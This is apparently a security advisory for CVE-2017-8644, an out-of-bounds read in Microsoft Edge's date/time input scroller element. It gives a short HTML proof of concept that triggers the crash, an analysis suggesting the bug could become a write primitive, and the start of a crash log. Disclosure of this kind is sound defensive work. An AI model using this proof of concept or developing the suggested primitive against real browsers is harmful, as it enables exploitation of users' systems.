Microsoft Edge suffers from an out-of-bounds read in CInputDateTimeScrollerElement::_SelectValueInternal. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
ae106588351f60c9e1078c6cf7ad219e Microsoft Edge: Out-of-bounds read in CInputDateTimeScrollerElement::_SelectValueInternal
CVE-2017-8644
The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
PoC:
==========================================
<!-- saved from url=(0014)about:internet -->
<style>
input:focus { transform: scale(10); }
</style>
<input autofocus="autofocus" type="time">
=========================================
Preliminary analysis:
CInputDateTimeScrollerElement::_SelectValueInternal calls CInputDateTimeScrollerElement::_UpdateSelected with a pointer that is obtained from an array, approximately:
CInputDateTimeScrollerElement::_SelectValueInternal(...) {
...
this->_UpdateSelected(this->array_at_offset_0xB8[this->index_at_offset_0xD4].ptr_at_index_0, ...);
...
}
The problem is that the index in the PoC has unsigned 32-bit value of 0xffffffff, possibly because the data structure has not been properly initialized, which leads to out-of-bound access. If an attacker can put data they control at array+offset, they would be able to call this->_UpdateSelected with a controlled argument, which presumably would be sufficient to turn this into a write primitive.
Crash log:
=========================================
(1afc.1b94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
